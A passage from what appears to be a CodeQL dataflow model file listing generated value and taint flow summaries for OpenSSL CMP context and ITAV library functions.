"Argument[*0].Field[*propq]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_statusString", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[**statusString]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_statusString", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[*statusString]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_trustedStore", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[**trusted]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_trustedStore", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[*trusted]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_untrusted", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[**untrusted]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_untrusted", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[*untrusted]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_validatedSrvCert", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[**validatedSrvCert]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_validatedSrvCert", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[*validatedSrvCert]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get1_caPubs", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get1_extraCertsIn", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get1_newChain", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_certConf_cb_arg", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_certConf_cb_arg", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_certConf_cb_arg", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_failInfoCode", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[*failInfoCode]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_http_cb_arg", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_http_cb_arg", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_http_cb_arg", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_option", "(const OSSL_CMP_CTX *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_status", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[*status]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_transfer_cb_arg", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_transfer_cb_arg", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_transfer_cb_arg", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_geninfo_ITAV", "(OSSL_CMP_CTX *,OSSL_CMP_ITAV *)", "", "Argument[*1]", "Argument[*0].Field[**geninfo_ITAVs].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_geninfo_ITAV", "(OSSL_CMP_CTX *,OSSL_CMP_ITAV *)", "", "Argument[*1]", "Argument[*0].Field[**geninfo_ITAVs].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_geninfo_ITAV", "(OSSL_CMP_CTX *,OSSL_CMP_ITAV *)", "", "Argument[1]", "Argument[*0].Field[**geninfo_ITAVs].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_geninfo_ITAV", "(OSSL_CMP_CTX *,OSSL_CMP_ITAV *)", "", "Argument[1]", "Argument[*0].Field[**geninfo_ITAVs].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_genm_ITAV", "(OSSL_CMP_CTX *,OSSL_CMP_ITAV *)", "", "Argument[*1]", "Argument[*0].Field[**genm_ITAVs].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_genm_ITAV", "(OSSL_CMP_CTX *,OSSL_CMP_ITAV *)", "", "Argument[*1]", "Argument[*0].Field[**genm_ITAVs].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_genm_ITAV", "(OSSL_CMP_CTX *,OSSL_CMP_ITAV *)", "", "Argument[1]", "Argument[*0].Field[**genm_ITAVs].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_genm_ITAV", "(OSSL_CMP_CTX *,OSSL_CMP_ITAV *)", "", "Argument[1]", "Argument[*0].Field[**genm_ITAVs].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_policy", "(OSSL_CMP_CTX *,POLICYINFO *)", "", "Argument[*1]", "Argument[*0].Field[**policies].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_policy", "(OSSL_CMP_CTX *,POLICYINFO *)", "", "Argument[*1]", "Argument[*0].Field[**policies].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_policy", "(OSSL_CMP_CTX *,POLICYINFO *)", "", "Argument[1]", "Argument[*0].Field[**policies].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_policy", "(OSSL_CMP_CTX *,POLICYINFO *)", "", "Argument[1]", "Argument[*0].Field[**policies].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push1_subjectAltName", "(OSSL_CMP_CTX *,const GENERAL_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set0_newPkey", "(OSSL_CMP_CTX *,int,EVP_PKEY *)", "", "Argument[*2]", "Argument[*0].Field[**newPkey]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set0_newPkey", "(OSSL_CMP_CTX *,int,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[*newPkey_priv]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set0_newPkey", "(OSSL_CMP_CTX *,int,EVP_PKEY *)", "", "Argument[2]", "Argument[*0].Field[*newPkey]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set0_reqExtensions", "(OSSL_CMP_CTX *,X509_EXTENSIONS *)", "", "Argument[*1]", "Argument[*0].Field[**reqExtensions]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set0_reqExtensions", "(OSSL_CMP_CTX *,X509_EXTENSIONS *)", "", "Argument[1]", "Argument[*0].Field[*reqExtensions]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set0_trustedStore", "(OSSL_CMP_CTX *,X509_STORE *)", "", "Argument[*1]", "Argument[*0].Field[**trusted]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set0_trustedStore", "(OSSL_CMP_CTX *,X509_STORE *)", "", "Argument[1]", "Argument[*0].Field[*trusted]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_cert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_cert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*cert]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_expected_sender", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_expected_sender", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_expected_sender", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_extraCertsOut", "(OSSL_CMP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[**extraCertsOut]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_extraCertsOut", "(OSSL_CMP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_issuer", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_issuer", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_issuer", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_no_proxy", "(OSSL_CMP_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**no_proxy]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_no_proxy", "(OSSL_CMP_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[**no_proxy]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_oldCert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_oldCert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*oldCert]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_p10CSR", "(OSSL_CMP_CTX *,const X509_REQ *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_p10CSR", "(OSSL_CMP_CTX *,const X509_REQ *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_p10CSR", "(OSSL_CMP_CTX *,const X509_REQ *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_pkey", "(OSSL_CMP_CTX *,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_proxy", "(OSSL_CMP_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**proxy]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_proxy", "(OSSL_CMP_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[**proxy]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_recipient", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_recipient", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_recipient", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_referenceValue", "(OSSL_CMP_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**referenceValue].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_referenceValue", "(OSSL_CMP_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**referenceValue].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_referenceValue", "(OSSL_CMP_CTX *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[**referenceValue].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_secretValue", "(OSSL_CMP_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**secretValue].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_secretValue", "(OSSL_CMP_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**secretValue].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_secretValue", "(OSSL_CMP_CTX *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[**secretValue].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_senderNonce", "(OSSL_CMP_CTX *,const ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_serialNumber", "(OSSL_CMP_CTX *,const ASN1_INTEGER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_server", "(OSSL_CMP_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**server]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_server", "(OSSL_CMP_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[**server]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_serverPath", "(OSSL_CMP_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**serverPath]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_serverPath", "(OSSL_CMP_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[**serverPath]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_srvCert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_srvCert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*srvCert]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_subjectName", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_subjectName", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_subjectName", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_transactionID", "(OSSL_CMP_CTX *,const ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_untrusted", "(OSSL_CMP_CTX *,stack_st_X509 *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_certConf_cb", "(OSSL_CMP_CTX *,OSSL_CMP_certConf_cb_t)", "", "Argument[1]", "Argument[*0].Field[*certConf_cb]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_certConf_cb_arg", "(OSSL_CMP_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***certConf_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_certConf_cb_arg", "(OSSL_CMP_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**certConf_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_certConf_cb_arg", "(OSSL_CMP_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*certConf_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_http_cb", "(OSSL_CMP_CTX *,OSSL_HTTP_bio_cb_t)", "", "Argument[1]", "Argument[*0].Field[*http_cb]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_http_cb_arg", "(OSSL_CMP_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***http_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_http_cb_arg", "(OSSL_CMP_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**http_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_http_cb_arg", "(OSSL_CMP_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*http_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_log_cb", "(OSSL_CMP_CTX *,OSSL_CMP_log_cb_t)", "", "Argument[1]", "Argument[*0].Field[*log_cb]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_option", "(OSSL_CMP_CTX *,int,int)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_serverPort", "(OSSL_CMP_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*serverPort]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_transfer_cb", "(OSSL_CMP_CTX *,OSSL_CMP_transfer_cb_t)", "", "Argument[1]", "Argument[*0].Field[*transfer_cb]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_transfer_cb_arg", "(OSSL_CMP_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***transfer_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_transfer_cb_arg", "(OSSL_CMP_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**transfer_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_transfer_cb_arg", "(OSSL_CMP_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*transfer_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_snprint_PKIStatus", "(const OSSL_CMP_CTX *,char *,size_t)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_snprint_PKIStatus", "(const OSSL_CMP_CTX *,char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_snprint_PKIStatus", "(const OSSL_CMP_CTX *,char *,size_t)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_snprint_PKIStatus", "(const OSSL_CMP_CTX *,char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ERRORMSGCONTENT_free", "(OSSL_CMP_ERRORMSGCONTENT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ERRORMSGCONTENT_free", "(OSSL_CMP_ERRORMSGCONTENT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_HDR_get0_geninfo_ITAVs", "(const OSSL_CMP_PKIHEADER *)", "", "Argument[*0].Field[**generalInfo]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_HDR_get0_geninfo_ITAVs", "(const OSSL_CMP_PKIHEADER *)", "", "Argument[*0].Field[*generalInfo]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_HDR_get0_recipNonce", "(const OSSL_CMP_PKIHEADER *)", "", "Argument[*0].Field[**recipNonce]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_HDR_get0_recipNonce", "(const OSSL_CMP_PKIHEADER *)", "", "Argument[*0].Field[*recipNonce]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_HDR_get0_transactionID", "(const OSSL_CMP_PKIHEADER *)", "", "Argument[*0].Field[**transactionID]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_HDR_get0_transactionID", "(const OSSL_CMP_PKIHEADER *)", "", "Argument[*0].Field[*transactionID]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_create", "(ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[*0]", "ReturnValue[*].Field[**infoType]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_create", "(ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[*1]", "ReturnValue[*].Field[*infoValue].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_create", "(ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[0]", "ReturnValue[*].Field[*infoType]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_create", "(ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[1]", "ReturnValue[*].Field[*infoValue].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_dup", "(const OSSL_CMP_ITAV *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_dup", "(const OSSL_CMP_ITAV *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_dup", "(const OSSL_CMP_ITAV *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_dup", "(const OSSL_CMP_ITAV *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_dup", "(const OSSL_CMP_ITAV *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_free", "(OSSL_CMP_ITAV *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_free", "(OSSL_CMP_ITAV *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_caCerts", "(const OSSL_CMP_ITAV *,stack_st_X509 **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_caCerts", "(const OSSL_CMP_ITAV *,stack_st_X509 **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_certProfile", "(const OSSL_CMP_ITAV *,stack_st_ASN1_UTF8STRING **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_certProfile", "(const OSSL_CMP_ITAV *,stack_st_ASN1_UTF8STRING **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_crlStatusList", "(const OSSL_CMP_ITAV *,stack_st_OSSL_CMP_CRLSTATUS **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_crlStatusList", "(const OSSL_CMP_ITAV *,stack_st_OSSL_CMP_CRLSTATUS **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_crls", "(const OSSL_CMP_ITAV *,stack_st_X509_CRL **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_crls", "(const OSSL_CMP_ITAV *,stack_st_X509_CRL **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_rootCaCert", "(const OSSL_CMP_ITAV *,X509 **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_rootCaCert", "(const OSSL_CMP_ITAV *,X509 **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_type", "(const OSSL_CMP_ITAV *)", "", "Argument[*0].Field[**infoType]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_type", "(const OSSL_CMP_ITAV *)", "", "Argument[*0].Field[*infoType]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_value", "(const OSSL_CMP_ITAV *)", "", "Argument[*0].Field[*infoValue].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get0_value", "(const OSSL_CMP_ITAV *)", "", "Argument[*0].Field[*infoValue].Union[**(unnamed class/struct/union)]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get1_certReqTemplate", "(const OSSL_CMP_ITAV *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get1_certReqTemplate", "(const OSSL_CMP_ITAV *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get1_certReqTemplate", "(const OSSL_CMP_ITAV *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get1_certReqTemplate", "(const OSSL_CMP_ITAV *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_get1_certReqTemplate", "(const OSSL_CMP_ITAV *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new0_certProfile", "(stack_st_ASN1_UTF8STRING *)", "", "Argument[*0]", "ReturnValue[*].Field[*infoValue].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new0_certProfile", "(stack_st_ASN1_UTF8STRING *)", "", "Argument[0]", "ReturnValue[*].Field[*infoValue].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new0_crlStatusList", "(stack_st_OSSL_CMP_CRLSTATUS *)", "", "Argument[*0]", "ReturnValue[*].Field[*infoValue].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new0_crlStatusList", "(stack_st_OSSL_CMP_CRLSTATUS *)", "", "Argument[0]", "ReturnValue[*].Field[*infoValue].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new_caCerts", "(const stack_st_X509 *)", "", "Argument[*0]", "ReturnValue[*].Field[*infoValue].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new_caCerts", "(const stack_st_X509 *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new_caCerts", "(const stack_st_X509 *)", "", "Argument[0]", "ReturnValue[*].Field[*infoValue].Union[**(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new_crls", "(const X509_CRL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new_rootCaCert", "(const X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new_rootCaKeyUpdate", "(const X509 *,const X509 *,const X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_new_rootCaKeyUpdate", "(const X509 *,const X509 *,const X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, 